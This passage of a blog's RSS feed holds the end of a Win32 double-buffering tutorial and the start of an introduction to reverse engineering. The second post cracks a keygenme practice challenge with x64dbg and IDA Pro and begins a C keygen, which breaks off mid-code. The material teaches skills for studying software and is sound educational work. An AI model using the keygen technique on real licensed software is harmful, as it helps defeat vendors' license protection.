class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c1&quot;&gt;// Loads the bitmap, get its CX,CY and get compatible device context&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hSkin&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LoadBitmap&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hIns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;MAKEINTRESOURCE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;IDB_BITMAP1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;BITMAP&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bm&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;GetObject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hSkin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bm&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cx&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bmWidth&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cy&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bmHeight&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h2 id=&quot;the-wm_paint-handler&quot;&gt;The WM_PAINT Handler&lt;/h2&gt; &lt;p&gt;Here’s where the double buffering happens:&lt;/p&gt; &lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;WM_PAINT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PAINTSTRUCT&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ps&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;BeginPaint&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hWnd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ps&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;//Creating double buffer&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;HDC&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hdcMem&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CreateCompatibleDC&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ps&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hdc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ndcmem&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SaveDC&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hdcMem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;HBITMAP&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hbmMem&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CreateCompatibleBitmap&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ps&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hdc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SelectObject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hdcMem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hbmMem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;//-------------------------------------------------------&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// Copy background bitmap into double buffer&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;BitBlt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hdcMem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hdcBackground&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SRCCOPY&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;//---------------------------------------------------------&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// Draw the text&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SelectObject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hdcMem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hFont&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SetTextColor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hdcMem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CLR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SetBkMode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hdcMem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TRANSPARENT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DrawText&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hdcMem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Text&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rcText&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DT_CENTER&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DT_TOP&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DT_NOPREFIX&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DT_NOCLIP&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;//-----------------------------------------------------------------------------&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// Copy double buffer to screen&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;BitBlt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ps&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hdc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hdcMem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SRCCOPY&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;//--------------------------------------------------&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// Clean up&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;RestoreDC&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hdcMem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ndcmem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DeleteObject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hbmMem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DeleteDC&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hdcMem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;EndPaint&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hWnd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ps&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;//--------------------&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;MessageBox&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hWnd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Can not start painting!&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Error&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;MB_ICONERROR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TRUE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CreateCompatibleDC&lt;/code&gt; creates a memory device context. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CreateCompatibleBitmap&lt;/code&gt; creates a bitmap to draw on. After selecting it with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SelectObject&lt;/code&gt;, the buffer is ready.&lt;/p&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BitBlt&lt;/code&gt; copies the background image to the buffer. Then &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DrawText&lt;/code&gt; draws the text on top. Since both operations happen in memory, the user sees nothing yet.&lt;/p&gt; &lt;p&gt;The second &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BitBlt&lt;/code&gt; copies the completed buffer to the screen in one operation. No flicker.&lt;/p&gt; &lt;p&gt;Finally, clean up the resources. Always restore and delete device contexts you create.&lt;/p&gt; &lt;p&gt;You can download the complete source code &lt;a href=&quot;/assets/files/flicker-scroll/text_scrolling__source_code.zip&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt;&lt;/p&gt; &lt;p&gt;Another Win32 post in the same vein: &lt;a href=&quot;/changing-windows-aero-color-win32-programming/&quot;&gt;changing the Windows Aero color through undocumented DWM APIs&lt;/a&gt;.&lt;/p&gt; </description> <pubDate>Wed, 14 Aug 2019 00:00:00 +0000</pubDate> <link>https://tejashwi.in/windows-flicker-free-text-scrolling-with-double-buffering/</link> <guid isPermaLink="true">https://tejashwi.in/windows-flicker-free-text-scrolling-with-double-buffering/</guid> <category>windows</category> <category>Windows</category> <category>Win32 API</category> </item> <item> <title>Introduction to software reverse engineering</title> <description>&lt;p&gt;Reverse engineering is taking apart software to understand how it works. Security researchers use it to analyze malware. Testers use it for black-box security analysis. Sometimes you just want to figure out how something was built.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;This tutorial requires basic understanding of assembly language. Take a crash course &lt;a href=&quot;https://www.cs.virginia.edu/~evans/cs216/guides/x86.html&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt; &lt;h2 id=&quot;the-target&quot;&gt;The Target&lt;/h2&gt; &lt;p&gt;Here’s a keygen challenge. It wants a name and serial key, checks them internally, and shows success or failure.&lt;/p&gt; &lt;div class=&quot;text-center&quot;&gt; &lt;picture&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;/assets/images/intro-reverse-engineering/keygenme.webp 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;img src=&quot;/assets/images/intro-reverse-engineering/keygenme.png&quot; alt=&quot;The sample keygenme application&quot; class=&quot;&quot; width=&quot;521&quot; height=&quot;196&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; /&gt; &lt;/picture&gt; &lt;/div&gt; &lt;p&gt;That’s enough to start.&lt;/p&gt; &lt;h2 id=&quot;finding-the-check&quot;&gt;Finding the Check&lt;/h2&gt; &lt;p&gt;I’m using &lt;a href=&quot;https://x64dbg.com/#start&quot; target=&quot;_blank&quot;&gt;x64 Dbg&lt;/a&gt; for debugging and &lt;a href=&quot;https://www.hex-rays.com/products/ida/&quot; target=&quot;_blank&quot;&gt;IDA Pro&lt;/a&gt; for decompilation.&lt;/p&gt; &lt;p&gt;Load the application in x64dbg. Search for the string &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Enter your name&lt;/code&gt;:&lt;/p&gt; &lt;div class=&quot;text-center&quot;&gt; &lt;picture&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;/assets/images/intro-reverse-engineering/finding-related-strings-480w.webp 480w, /assets/images/intro-reverse-engineering/finding-related-strings.webp 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/png&quot; srcset=&quot;/assets/images/intro-reverse-engineering/finding-related-strings-480w.png 480w, /assets/images/intro-reverse-engineering/finding-related-strings.png 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;img src=&quot;/assets/images/intro-reverse-engineering/finding-related-strings.png&quot; alt=&quot;Finding related strings in x64dbg&quot; class=&quot;&quot; width=&quot;1324&quot; height=&quot;153&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; /&gt; &lt;/picture&gt; &lt;/div&gt; &lt;p&gt;Double-click to jump to where it’s used:&lt;/p&gt; &lt;div class=&quot;text-center&quot;&gt; &lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;/assets/images/intro-reverse-engineering/matching-480w.avif 480w, /assets/images/intro-reverse-engineering/matching-640w.avif 640w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;/assets/images/intro-reverse-engineering/matching-480w.webp 480w, /assets/images/intro-reverse-engineering/matching.webp 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;img src=&quot;/assets/images/intro-reverse-engineering/matching.png&quot; alt=&quot;Matching string location in assembly&quot; class=&quot;&quot; width=&quot;1054&quot; height=&quot;390&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; /&gt; &lt;/picture&gt; &lt;/div&gt; &lt;p&gt;Reading the assembly:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;printf&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;scanf&lt;/code&gt; handle input for name and serial&lt;/li&gt; &lt;li&gt;A function gets called, returns some value X&lt;/li&gt; &lt;li&gt;X gets compared to the serial we entered&lt;/li&gt; &lt;li&gt;Match = success, mismatch = failure&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;The interesting part is that function. Set a breakpoint, run with dummy input, step into when the breakpoint hits.&lt;/p&gt; &lt;div class=&quot;text-center&quot;&gt; &lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;/assets/images/intro-reverse-engineering/generation-function-480w.avif 480w, /assets/images/intro-reverse-engineering/generation-function-640w.avif 640w, /assets/images/intro-reverse-engineering/generation-function-960w.avif 960w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;/assets/images/intro-reverse-engineering/generation-function-480w.webp 480w, /assets/images/intro-reverse-engineering/generation-function.webp 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;img src=&quot;/assets/images/intro-reverse-engineering/generation-function.png&quot; alt=&quot;Serial generation function in debugger&quot; class=&quot;&quot; width=&quot;1054&quot; height=&quot;341&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; /&gt; &lt;/picture&gt; &lt;/div&gt; &lt;p&gt;Quick analysis:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Takes the name as input&lt;/li&gt; &lt;li&gt;Gets name length with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strlen&lt;/code&gt;&lt;/li&gt; &lt;li&gt;Loops through each character doing some calculation (notice the JBE instruction)&lt;/li&gt; &lt;li&gt;Formats the result as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%d-%d&lt;/code&gt;&lt;/li&gt; &lt;/ul&gt; &lt;h2 id=&quot;ida-pro-does-the-heavy-lifting&quot;&gt;IDA Pro Does the Heavy Lifting&lt;/h2&gt; &lt;p&gt;Being lazy, I’m not going to step through every instruction. Note the function’s starting address, fire up IDA Pro, load the application, and navigate to that address. IDA shows a graph view:&lt;/p&gt; &lt;div class=&quot;text-center&quot;&gt; &lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;/assets/images/intro-reverse-engineering/ida-graph-480w.avif 480w, /assets/images/intro-reverse-engineering/ida-graph-640w.avif 640w, /assets/images/intro-reverse-engineering/ida-graph-960w.avif 960w, /assets/images/intro-reverse-engineering/ida-graph.avif 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;/assets/images/intro-reverse-engineering/ida-graph-480w.webp 480w, /assets/images/intro-reverse-engineering/ida-graph-640w.webp 640w, /assets/images/intro-reverse-engineering/ida-graph-960w.webp 960w, /assets/images/intro-reverse-engineering/ida-graph.webp 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/png&quot; srcset=&quot;/assets/images/intro-reverse-engineering/ida-graph-480w.png 480w, /assets/images/intro-reverse-engineering/ida-graph.png 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;img src=&quot;/assets/images/intro-reverse-engineering/ida-graph.png&quot; alt=&quot;IDA Pro graph view&quot; class=&quot;&quot; width=&quot;1343&quot; height=&quot;675&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; /&gt; &lt;/picture&gt; &lt;/div&gt; &lt;p&gt;Select the function, press F5. IDA decompiles the assembly into readable C:&lt;/p&gt; &lt;div class=&quot;text-center&quot;&gt; &lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;/assets/images/intro-reverse-engineering/disambled-source-code-480w.avif 480w, /assets/images/intro-reverse-engineering/disambled-source-code-640w.avif 640w, /assets/images/intro-reverse-engineering/disambled-source-code-960w.avif 960w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;/assets/images/intro-reverse-engineering/disambled-source-code-480w.webp 480w, /assets/images/intro-reverse-engineering/disambled-source-code.webp 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;img src=&quot;/assets/images/intro-reverse-engineering/disambled-source-code.png&quot; alt=&quot;IDA Pro decompiled source code&quot; class=&quot;&quot; width=&quot;1059&quot; height=&quot;462&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; /&gt; &lt;/picture&gt; &lt;/div&gt; &lt;h2 id=&quot;building-the-keygen&quot;&gt;Building the Keygen&lt;/h2&gt; &lt;p&gt;Clean up IDA’s output:&lt;/p&gt; &lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 12 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;generateSerial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[])&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;length&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;strlen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;counter&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;counter&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;index&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;counter&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;temp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;counter&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span 